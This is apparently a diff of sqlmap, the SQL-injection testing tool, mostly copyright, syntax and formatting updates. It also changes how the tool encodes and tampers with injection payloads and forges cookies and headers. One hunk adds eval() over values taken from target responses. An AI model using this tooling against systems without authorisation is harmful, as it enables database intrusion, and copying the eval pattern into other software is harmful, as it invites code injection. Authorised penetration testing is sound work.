        xmlfile = kb.headerPaths[header]
-
        handler = FingerprintHandler(value, kb.headersFp)
-
        parseXmlFile(xmlfile, handler)
        parseXmlFile(paths.GENERIC_XML, handler)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -78,7 +78,7 @@ def loadBoundaries():
        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)

    root = doc.getroot()
    parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
            errMsg = "something appears to be wrong with "
            errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
            errMsg += "sure that you haven't made any changes to it"
-            raise SqlmapInstallationException, errMsg
+            raise SqlmapInstallationException(errMsg)

        root = doc.getroot()
        parseXmlNode(root)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
            content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
        except httplib.InvalidURL:
            errMsg = "invalid URL given for sitemap ('%s')" % url
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)

        for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
            if abortedFlag:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -18,11 +18,13 @@ from lib.core.common import extractErrorMessage
 from lib.core.common import extractRegexResult
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getUnicode
+from lib.core.common import isListLike
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
+from lib.core.common import unArrayizeValue
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -59,7 +61,7 @@ def forgeHeaders(items=None, base=None):
        if items[_] is None:
            del items[_]

-    headers = OrderedDict(base or conf.httpHeaders)
+    headers = OrderedDict(conf.httpHeaders if base is None else base)
    headers.update(items.items())

    class _str(str):
@@ -108,7 +110,9 @@ def forgeHeaders(items=None, base=None):
                        kb.mergeCookies = readInput(message, default='Y', boolean=True)

                    if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        def _(value):
+                            return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
+
                        headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])

                        if PLACE.COOKIE in conf.parameters:
@@ -150,13 +154,16 @@ def checkCharEncoding(encoding, warn=True):
    'utf8'
    """

+    if isListLike(encoding):
+        encoding = unArrayizeValue(encoding)
+
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}

    for delimiter in (';', ',', '('):
        if delimiter in encoding:
@@ -213,7 +220,7 @@ def checkCharEncoding(encoding, warn=True):
    try:
        codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
    except (LookupError, ValueError):
-        if warn:
+        if warn and ' ' not in encoding:
            warnMsg = "unknown web page charset '%s'. " % encoding
            warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
            singleTimeLogMessage(warnMsg, logging.WARN, encoding)
@@ -254,12 +261,22 @@ def decodePage(page, contentEncoding, contentType):
    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

-    if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"):
+    if isinstance(contentEncoding, basestring) and contentEncoding:
+        contentEncoding = contentEncoding.lower()
+    else:
+        contentEncoding = ""
+
+    if isinstance(contentType, basestring) and contentType:
+        contentType = contentType.lower()
+    else:
+        contentType = ""
+
+    if contentEncoding in ("gzip", "x-gzip", "deflate"):
        if not kb.pageCompress:
            return None

        try:
-            if contentEncoding.lower() == "deflate":
+            if contentEncoding == "deflate":
                data = StringIO.StringIO(zlib.decompress(page, -15))  # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            else:
                data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page))
@@ -284,13 +301,12 @@ def decodePage(page, contentEncoding, contentType):
        httpCharset, metaCharset = None, None

        # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
-        if contentType and (contentType.find("charset=") != -1):
+        if contentType.find("charset=") != -1:
            httpCharset = checkCharEncoding(contentType.split("charset=")[-1])

        metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))

-        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
-            or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
+        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
            kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
            debugMsg = "declared web page charset '%s'" % kb.pageEncoding
            singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@@ -300,7 +316,7 @@ def decodePage(page, contentEncoding, contentType):
        kb.pageEncoding = conf.encoding

    # can't do for all responses because we need to support binary files too
-    if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
+    if not isinstance(page, unicode) and "text/" in contentType:
        if kb.heuristicMode:
            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
            page = getUnicode(page, kb.pageEncoding)
@@ -318,7 +334,7 @@ def decodePage(page, contentEncoding, contentType):

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))

-            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                kb.pageEncoding = "utf-8"
                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                    page = page[3:]
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
            self.retried_count = 0
        else:
            if self.retried_count > 5:
-                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
-                                headers, None)
+                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
            else:
                self.retried_count += 1

-        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
-                        self, auth_header, host, req, headers)
+        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -49,7 +49,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
-        threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
+        threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
        threadData.lastComparisonPage = page
        threadData.lastComparisonCode = code

@@ -57,7 +57,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
        return None

    if any((conf.string, conf.notString, conf.regexp)):
-        rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
+        rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
@@ -106,16 +106,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
        # Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
        # (e.g. if one page is PDF and the other is HTML)
        if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
-            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
+            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
-            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
+            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")

-        if seqMatcher.a and page and seqMatcher.a == page:
-            ratio = 1
+        if any(_ is None for _ in (page, seqMatcher.a)):
+            return None
+        elif seqMatcher.a and page and seqMatcher.a == page:
+            ratio = 1.
        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
-            ratio = 1.0 * len(seqMatcher.a) / len(page)
-            if ratio > 1:
-                ratio = 1. / ratio
+            if not page or not seqMatcher.a:
+                return float(seqMatcher.a == page)
+            else:
+                ratio = 1. * len(seqMatcher.a) / len(page)
+                if ratio > 1:
+                    ratio = 1. / ratio
        else:
            seq1, seq2 = None, None

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import escapeJsonValue
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
 from lib.core.common import findMultipartPostBoundary
@@ -63,6 +64,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
@@ -187,13 +189,13 @@ class Connect(object):

        if not kb.dnsMode and conn:
            headers = conn.info()
-            if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
-              or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
+            if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
                retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
                if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
                    warnMsg = "large compressed response detected. Disabling compression"
                    singleTimeWarnMessage(warnMsg)
                    kb.pageCompress = False
+                    raise SqlmapCompressionException
            else:
                while True:
                    if not conn:
@@ -241,27 +243,27 @@ class Connect(object):
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

-        url = kwargs.get("url",                     None) or conf.url
-        get = kwargs.get("get",                     None)
-        post = kwargs.get("post",                   None)
-        method = kwargs.get("method",               None)
-        cookie = kwargs.get("cookie",               None)
-        ua = kwargs.get("ua",                       None) or conf.agent
-        referer = kwargs.get("referer",             None) or conf.referer
-        host = kwargs.get("host",                   None) or conf.host
-        direct_ = kwargs.get("direct",              False)
-        multipart = kwargs.get("multipart",         None)
-        silent = kwargs.get("silent",               False)
-        raise404 = kwargs.get("raise404",           True)
-        timeout = kwargs.get("timeout",             None) or conf.timeout
-        auxHeaders = kwargs.get("auxHeaders",       None)
-        response = kwargs.get("response",           False)
+        url = kwargs.get("url", None) or conf.url
+        get = kwargs.get("get", None)
+        post = kwargs.get("post", None)
+        method = kwargs.get("method", None)
+        cookie = kwargs.get("cookie", None)
+        ua = kwargs.get("ua", None) or conf.agent
+        referer = kwargs.get("referer", None) or conf.referer
+        host = kwargs.get("host", None) or conf.host
+        direct_ = kwargs.get("direct", False)
+        multipart = kwargs.get("multipart", None)
+        silent = kwargs.get("silent", False)
+        raise404 = kwargs.get("raise404", True)
+        timeout = kwargs.get("timeout", None) or conf.timeout
+        auxHeaders = kwargs.get("auxHeaders", None)
+        response = kwargs.get("response", False)
        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
-        refreshing = kwargs.get("refreshing",       False)
-        retrying = kwargs.get("retrying",           False)
-        crawling = kwargs.get("crawling",           False)
-        checking = kwargs.get("checking",           False)
-        skipRead = kwargs.get("skipRead",           False)
+        refreshing = kwargs.get("refreshing", False)
+        retrying = kwargs.get("retrying", False)
+        crawling = kwargs.get("crawling", False)
+        checking = kwargs.get("checking", False)
+        skipRead = kwargs.get("skipRead", False)

        if multipart:
            post = multipart
@@ -346,7 +348,7 @@ class Connect(object):
            requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
-            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
+            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]
@@ -428,8 +430,10 @@ class Connect(object):
                    method = unicodeencode(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
-                else:
+                elif url is not None:
                    req = urllib2.Request(url, post, headers)
+                else:
+                    return None, None, None

                requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

@@ -479,8 +483,7 @@ class Connect(object):

                # Get HTTP response
                if hasattr(conn, "redurl"):
-                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
-                    else Connect._connReadProxy(conn)) if not skipRead else None
+                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode
                else:
@@ -495,7 +498,7 @@ class Connect(object):
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg) if conn else None
+                status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None

            kb.connErrorCounter = 0

@@ -578,7 +581,7 @@ class Connect(object):
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = ex.code
-            status = getUnicode(ex.msg)
+            status = getSafeExString(ex)

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
@@ -684,6 +687,9 @@ class Connect(object):
                status = re.search(r"Handshake status ([\d]{3})", tbMsg)
                errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
                raise SqlmapConnectionException(errMsg)
+            elif "SqlmapCompressionException" in tbMsg:
+                warnMsg = "problems with response (de)compression"
+                retrying = True
            else:
                warnMsg = "unable to connect to the target URL"

@@ -719,7 +725,7 @@ class Connect(object):
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
-            elif kb.testMode:
+            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
@@ -766,7 +772,8 @@ class Connect(object):
        return page, responseHeaders, code

    @staticmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
+    @stackedmethod
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
        """
        This method calls a function to get the target URL page content
        and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -796,6 +803,8 @@ class Connect(object):
        raise404 = place != PLACE.URI if raise404 is None else raise404
        method = method or conf.method

+        postUrlEncode = kb.postUrlEncode
+
        value = agent.adjustLateValues(value)
        payload = agent.extractPayload(value)
        threadData = getCurrentThreadData()
@@ -804,14 +813,14 @@ class Connect(object):
            headers = OrderedDict(conf.httpHeaders)
            contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys())

-            if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode:
-                kb.postUrlEncode = False
+            if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
+                postUrlEncode = False
                conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
                contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
                conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
-            if kb.tamperFunctions:
+            if not disableTampering and kb.tamperFunctions:
                for function in kb.tamperFunctions:
                    try:
                        payload = function(payload=payload, headers=auxHeaders)
@@ -835,21 +844,15 @@ class Connect(object):
                    # with their HTML encoded counterparts
                    payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                elif kb.postHint == POST_HINT.JSON:
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                elif kb.postHint == POST_HINT.JSON_LIKE:
                    payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                    payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                    skip = False

                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
@@ -860,8 +863,11 @@ class Connect(object):
                            skip = True

                    if not skip:
-                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
+                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
+                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                        value = agent.replacePayload(value, payload)
+                        postUrlEncode = False

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -929,9 +935,9 @@ class Connect(object):

        if value and place == PLACE.CUSTOM_HEADER:
            if value.split(',')[0].capitalize() == PLACE.COOKIE:
-                cookie = value.split(',', 1)[1]
+                cookie = value.split(',', 1)[-1]
            else:
-                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]

        if conf.csrfToken:
            def _adjustParameter(paramString, parameter, newValue):
@@ -978,7 +984,7 @@ class Connect(object):
                    if not conf.csrfUrl:
                        errMsg += ". You can try to rerun by providing "
                        errMsg += "a valid value for option '--csrf-url'"
-                    raise SqlmapTokenException, errMsg
+                    raise SqlmapTokenException(errMsg)

            if token:
                token = token.strip("'\"")
@@ -1036,7 +1042,7 @@ class Connect(object):
                            name = safeVariableNaming(name)
                        elif name in keywords:
                            name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
-                        value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
+                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                        variables[name] = value

            if cookie:
@@ -1129,7 +1135,7 @@ class Connect(object):
                            found = True
                            uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)

-                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
+                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                        if re.search(regex, (cookie or "")):
                            found = True
                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
@@ -1148,7 +1154,7 @@ class Connect(object):
        if post is not None:
            if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
                post = getattr(post, UNENCODED_ORIGINAL_VALUE)
-            elif kb.postUrlEncode:
+            elif postUrlEncode:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

        if timeBasedCompare and not conf.disableStats:
@@ -1159,7 +1165,7 @@ class Connect(object):

                if conf.tor:
                    warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
-                    warnMsg += "time-based injections because of its high latency time"
+                    warnMsg += "time-based injections because of inherent high latency time"
                    singleTimeWarnMessage(warnMsg)

                warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
@@ -1258,7 +1264,11 @@ class Connect(object):
            page = removeReflectiveValues(page, payload)

        kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
-        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
+
+        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
+        if message:
+            kb.permissionFlag = True
+            singleTimeWarnMessage("potential permission problems detected ('%s')" % message)

        if content or response:
            return page, headers, code
@@ -1268,5 +1278,5 @@ class Connect(object):
        else:
            return comparison(page, headers, code, getRatioValue, pageLength)

-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
    raise NotImplementedError
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
            for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                try:
                    sock = create_sock()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -33,6 +33,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
@@ -46,6 +47,7 @@ from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
 from lib.core.settings import SQL_SCALAR_REGEX
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
 from lib.request.direct import direct
@@ -174,10 +176,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
-    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
@@ -335,6 +334,7 @@ def _goUnion(expression, unpack=True, dump=False):

    return output

+@stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
@@ -471,6 +471,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
        singleTimeWarnMessage(warnMsg)

+    # Dirty patch (safe-encoded unicode characters)
+    if isinstance(value, unicode) and "\\x" in value:
+        try:
+            candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
+            if "\\x" not in candidate:
+                value = candidate
+        except:
+            pass
+
    return extractExpectedValue(value, expected)

 def goStacked(expression, silent=False):
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

